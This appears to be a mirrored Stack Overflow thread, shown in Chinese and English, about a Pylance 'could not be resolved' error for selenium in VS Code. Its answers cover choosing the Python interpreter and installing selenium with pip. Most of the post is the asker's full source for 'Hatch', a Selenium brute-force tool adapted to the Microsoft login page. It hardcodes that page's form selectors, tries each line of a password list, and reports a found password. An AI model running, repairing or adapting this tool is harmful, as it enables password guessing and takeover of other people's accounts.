繁体   English   中英

导入“selenium”无法解析 Pylance(reportMissingImports)

[英]Import "selenium" could not be resolved Pylance (reportMissingImports)

我正在用 VS 代码编辑一个文件。 VS 代码给出以下错误: Import "selenium" could not be resolved Pylance (reportMissingImports)

这是来自元字符的代码:

# Coded and based by METACHAR/Edited and modified for Microsoft by Major
import sys
import datetime
import selenium
import requests
import time as t
from sys import stdout
from selenium import webdriver
from optparse import OptionParser
from selenium.webdriver.common.keys import Keys
from selenium.common.exceptions import NoSuchElementException

# Graphics
class color:
   PURPLE = '\033[95m'
   CYAN = '\033[96m'
   DARKCYAN = '\033[36m'
   BLUE = '\033[94m'
   GREEN = '\033[92m'
   YELLOW = '\033[93m'
   RED = '\033[91m'
   BOLD = '\033[1m'
   UNDERLINE = '\033[4m'
   END = '\033[0m'
   CWHITE  = '\33[37m'

# Config#
parser = OptionParser()
now = datetime.datetime.now()

# Args
parser.add_option("--passsel", dest="passsel",help="Choose the password selector")
parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector")
parser.add_option("--passlist", dest="passlist",help="Enter the password list directory")
parser.add_option("--website", dest="website",help="choose a website")
(options, args) = parser.parse_args()

CHROME_DVR_DIR = '/home/major/Hatch/chromedriver'

# Setting up Brute-Force function
def wizard():
    print (banner)
    website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
    sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
    sys.stdout.flush()
    t.sleep(1)
    try:
        request = requests.get(website)
        if request.status_code == 200:
            print (color.GREEN + '[OK]'+color.CWHITE)
            sys.stdout.flush()
    except selenium.common.exceptions.NoSuchElementException:
        pass
    except KeyboardInterrupt:
        print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')
        exit()
    except:
        t.sleep(1)
        print (color.RED + '[X]'+color.CWHITE)
        t.sleep(1)
        print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')
        exit()
    password_selector = '#i0118'
    login_btn_selector = '#idSIButton9'
    pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
    brutes(password_selector,login_btn_selector,pass_list, website)

# Execute Brute-Force function
def brutes(password_selector,login_btn_selector,pass_list, website):
    f = open(pass_list, 'r')
    driver = webdriver.Chrome(CHROME_DVR_DIR)
    optionss = webdriver.ChromeOptions()
    optionss.add_argument("--disable-popup-blocking")
    optionss.add_argument("--disable-extensions")
    count = 1
    browser = webdriver.Chrome(CHROME_DVR_DIR)
    while True:
        try:
            for line in f:
                browser.get(website)
                t.sleep(1)
                Sel_pas = browser.find_element_by_css_selector(password_selector)
                enter = browser.find_element_by_css_selector(login_btn_selector) 
                Sel_pas.send_keys(line)
                t.sleep(2)
                print ('------------------------')
                print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN)
                print ('------------------------')
                temp = line 
        except KeyboardInterrupt: 
            exit()
        except selenium.common.exceptions.NoSuchElementException:
            print ('AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ')
            print ('LAST PASS ATTEMPT BELLOW')
            print (color.GREEN + 'Password has been found: {0}'.format(temp))
            print (color.YELLOW + 'Have fun :)')
            exit()

banner = color.BOLD + color.RED +'''
  _    _       _       _
 | |  | |     | |     | |
 | |__| | __ _| |_ ___| |__ 
 |  __  |/ _` | __/ __| '_ \\
 | |  | | (_| | || (__| | | |
 |_|  |_|\__,_|\__\___|_| |_|
  {0}[{1}-{2}]--> {3}V.1.0
  {4}[{5}-{6}]--> {7}coded by Metachar
  {8}[{9}-{10}]-->{11} brute-force tool                      '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN)

driver = webdriver.Chrome(CHROME_DVR_DIR)
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
count = 1 

if options.passsel == None:
    if options.loginsel == None:
        if options.passlist == None:
            if options.website == None:
                wizard()

password_selector = options.passsel
login_btn_selector = options.loginsel
website = options.website
pass_list = options.passlist
print (banner)
brutes(password_selector,login_btn_selector,pass_list, website)

我已经下载了 windows chromedriver。 我不知道我必须将它放在计算机上的什么位置。 有谁知道我必须把它放在哪里以及如何解决这个错误。 当我在 Linux 中尝试时,我没有收到错误。 我将 chromedriver 放在与 python 文件相同的目录中。 当我在 windows 中做完全相同的事情时,它不起作用。 谁能帮我吗?

接受的答案对我来说真的不够清楚(作为 VSCode/Python 新手),但它让我走上了正确的道路。 截至 2022 年:

  1. 打开 VS 命令面板(Windows 使用 Ctrl+Shift+P)
  2. 选择或输入“Python:Select Interpreter”
  3. Select 您操作系统的默认版本 Python(检查您的 C: 驱动器)或您将 Selenium 安装到的任何一个 Python 版本。

PyLance 查找“selenium”python package,但在配置的 python 安装中找不到它。 由于您使用的是 VSCode,因此请确保您已正确配置 python 扩展。 当您在 VSCode 中打开一个.py文件时,您应该会在左侧下方的状态栏中看到一个 python 设置。 Select 安装 selenium 和 PyLance 的安装将找到您的导入。

从您的虚拟环境 aka venv 所在的位置运行此命令pip3 install selenium

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM